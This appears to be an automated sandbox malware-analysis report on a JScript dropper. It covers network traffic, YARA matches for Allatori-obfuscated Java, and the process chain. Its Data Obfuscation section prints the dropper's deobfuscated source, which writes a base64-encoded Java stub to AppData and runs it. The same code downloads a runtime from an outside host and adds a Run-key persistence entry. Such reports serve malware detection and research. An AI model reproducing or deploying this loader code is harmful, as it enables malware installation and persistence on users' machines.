Source: unknown Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49880 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:49985 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50017 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50024 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50059 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50068 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.192.209:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50069 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50075 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown HTTPS traffic detected: 199.232.196.209:443 -> 192.168.2.4:50080 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:50081 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000001.00000002.3084950131.000000000A363000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects files packed with Allatori Java Obfuscator Author: ditekSHen
Source: 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects files packed with Allatori Java Obfuscator Author: ditekSHen
Source: Process Memory Space: javaw.exe PID: 1900, type: MEMORYSTR Matched rule: Detects files packed with Allatori Java Obfuscator Author: ditekSHen
Potential malicious VBS/JS script found (suspicious encoded strings)
Source: YPcqnc0z06.js Initial sample: Suspicious string .write LNDYAXRL
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4} Jump to behavior
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: YPcqnc0z06.js Initial sample: Strings found which are bigger than 50
Yara signature match
Source: 00000001.00000002.3084950131.000000000A363000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_JAVA_Packed_Allatori author = ditekSHen, description = Detects files packed with Allatori Java Obfuscator
Source: 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_JAVA_Packed_Allatori author = ditekSHen, description = Detects files packed with Allatori Java Obfuscator
Source: Process Memory Space: javaw.exe PID: 1900, type: MEMORYSTR Matched rule: INDICATOR_JAVA_Packed_Allatori author = ditekSHen, description = Detects files packed with Allatori Java Obfuscator
Source: classification engine Classification label: mal100.troj.evad.winJS@6/4@6/4
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Roaming\oqljufxb.txt Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe File created: C:\Users\user\AppData\Local\Temp\hsperfdata_user Jump to behavior
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: YPcqnc0z06.js ReversingLabs: Detection: 15%
Source: javaw.exe String found in binary or memory: t[Lsun/launcher/LauncherHelper;
Source: javaw.exe String found in binary or memory: jELjava/lang/Enum<Lsun/launcher/LauncherHelper;>;
Source: javaw.exe String found in binary or memory: "()[Lsun/launcher/LauncherHelper;'
Source: javaw.exe String found in binary or memory: (Ljava/util/List<Lsun/launcher/LauncherHelper$StdArg;>;)[Ljava/lang/String;
Source: javaw.exe String found in binary or memory: 9.{((Ljava/lang/String;)Lsun/launcher/LauncherHelper;
Source: javaw.exe String found in binary or memory: %sun/launcher/LauncherHelper$StdArg
Source: javaw.exe String found in binary or memory: Lsun/launcher/LauncherHelper;
Source: javaw.exe String found in binary or memory: rsun/launcher/LauncherHelper$SizePrefix
Source: javaw.exe String found in binary or memory: 'sun/launcher/LauncherHelper$FXHelper
Source: javaw.exe String found in binary or memory: sun/launcher/LauncherHelper$ResourceBundleHolder&
Source: javaw.exe String found in binary or memory: vsun/misc/Launcher$BootClassPathHolder$1
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\YPcqnc0z06.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\oqljufxb.txt"
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\icacls.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe Process created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe "C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\oqljufxb.txt" Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Process created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msdart.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msxml3.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: version.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior

Data Obfuscation
barindex
JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.CreateObject("WScript.Shell");var tempdir = wshShell.ExpandEnvironmentStrings("%temp%");var appdatadir = wshShell.ExpandEnvironmentStrings("%appdata%");var r = Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 10);var stubpath = appdatadir + "\\" + r + ".txt"var decoded = decodeBase64(longText);writeBytes(stubpath, decoded);var fso = WScript.CreateObject("Scripting.FileSystemObject");var text = "";try{text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\CurrentVersion");text = wshShell.RegRead("HKLM\\SOFTWARE\\Wow6432Node\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");}catch(err){}try{if(text == ""){text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion");text = wshShell.RegRead("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\" + text + "\\JavaHome");if(text != ""){text = text + "\\bin\\javaw.exe";}}else{text = text + "\\bin\\javaw.exe";}}catch(err){}try{if(text != ""){//wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + text + "\" -jar \"" + stubpath + "\"", "REG_SZ");wshShell.run("\"" + text + "\" -jar \"" + stubpath + "\"");} else{GrabJreFromNet();}} catch(err){}function GrabJreFromNet(){do{try{var xHttp = WScript.CreateObject("msxml2.serverxmlhttp.6.0");var bStrm = WScript.CreateObject("Adodb.Stream");xHttp.open("GET", "http://wshsoft.company/jv/jrex.zip", false);xHttp.setOption(2, 13056);xHttp.send();bStrm.Type = 1;bStrm.open();bStrm.write(xHttp.responseBody);bStrm.savetofile(appdatadir + "\\jre.zip", 2);break;}catch(err){WScript.Sleep(5000);}}while(true);UnZip(appdatadir + "\\jre.zip", appdatadir + "\\jre7");//wshShell.RegWrite("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\CurrentVersion", "1.8", "REG_SZ");//wshShell.RegWrite("HKLM\\SOFTWARE\\JavaSoft\\Java Runtime Environment\\1.8\\JavaHome", appdatadir + "\\jre7", "REG_SZ");wshShell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntfsmgr", "\"" + appdatadir + "\\jre7\\bin\\javaw.exe\" -jar " + "\"" + stubpath + "\"", "REG_SZ");wshShell.run("\"" + appdatadir + "\\jre7\\bin\\javaw.exe\" -jar " + "\"" + stubpath + "\"");}function decodeBase64(base64){var DM = WScript.CreateObject("Microsoft.XMLDOM");var EL = DM.createElement("tmp");EL.dataType = "bin.base64";EL.text = base64;return EL.nodeTypedValue;}function writeBytes(file, bytes){var binaryStream = WScript.CreateObject("ADODB.Stream");binaryStream.Type = 1;binaryStream.Open();binaryStream.Write(bytes);binaryStream.SaveToFile(file, 2);}function UnZip(zipfile, ExtractTo){if(fso.GetExtensionName(zipfile) == "zip"){if(!fso.FolderExists(ExtractTo)){fso.CreateFolder(ExtractTo);}var objShell = WScript.CreateObject("Shell.Application");var destination = objShell.NameSpace(ExtractTo);var zip_content = objShell.NameSpace(zipfile).Items(); for(i = 0; i < zip_content.Count; i++){if(fso.FileExists(fso.Buildpath(ExtractTo,zip_content.item(i).name)+"."+fso.getExtensionName
Yara detected AllatoriJARObfuscator
Source: Yara match File source: 00000001.00000002.3084950131.000000000A363000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.3084950131.000000000A395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: javaw.exe PID: 1900, type: MEMORYSTR
JavaScript source code contains large arrays or strings with random content potentially encoding malicious code
Source: YPcqnc0z06.js String : entropy: 5.6, length: 207670, content: 'dmFyIG5lbTQ0Ow0KdmFyIGxvbmdUZXh0ID0gIlVFc0RCQlE+IT5DPiE+Z0k+IT5HbGtUbGs+IT4+IT4+IT4+IT4+IT4+IT4+IT4 Go to definition
Uses code obfuscation techniques (call, push, ret)
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DEAFF pushad ; iretd 1_3_154DEB05
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DEAFF pushad ; iretd 1_3_154DEB05
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DEAFF pushad ; iretd 1_3_154DEB05
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DEAFF pushad ; iretd 1_3_154DEB05
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154D02F4 push 0000004Ah; retf 1_3_154D02F6
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154D02F4 push 0000004Ah; retf 1_3_154D02F6
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe Code function: 1_3_154DEAFF pushad ; iretd 1_3_154DEB05
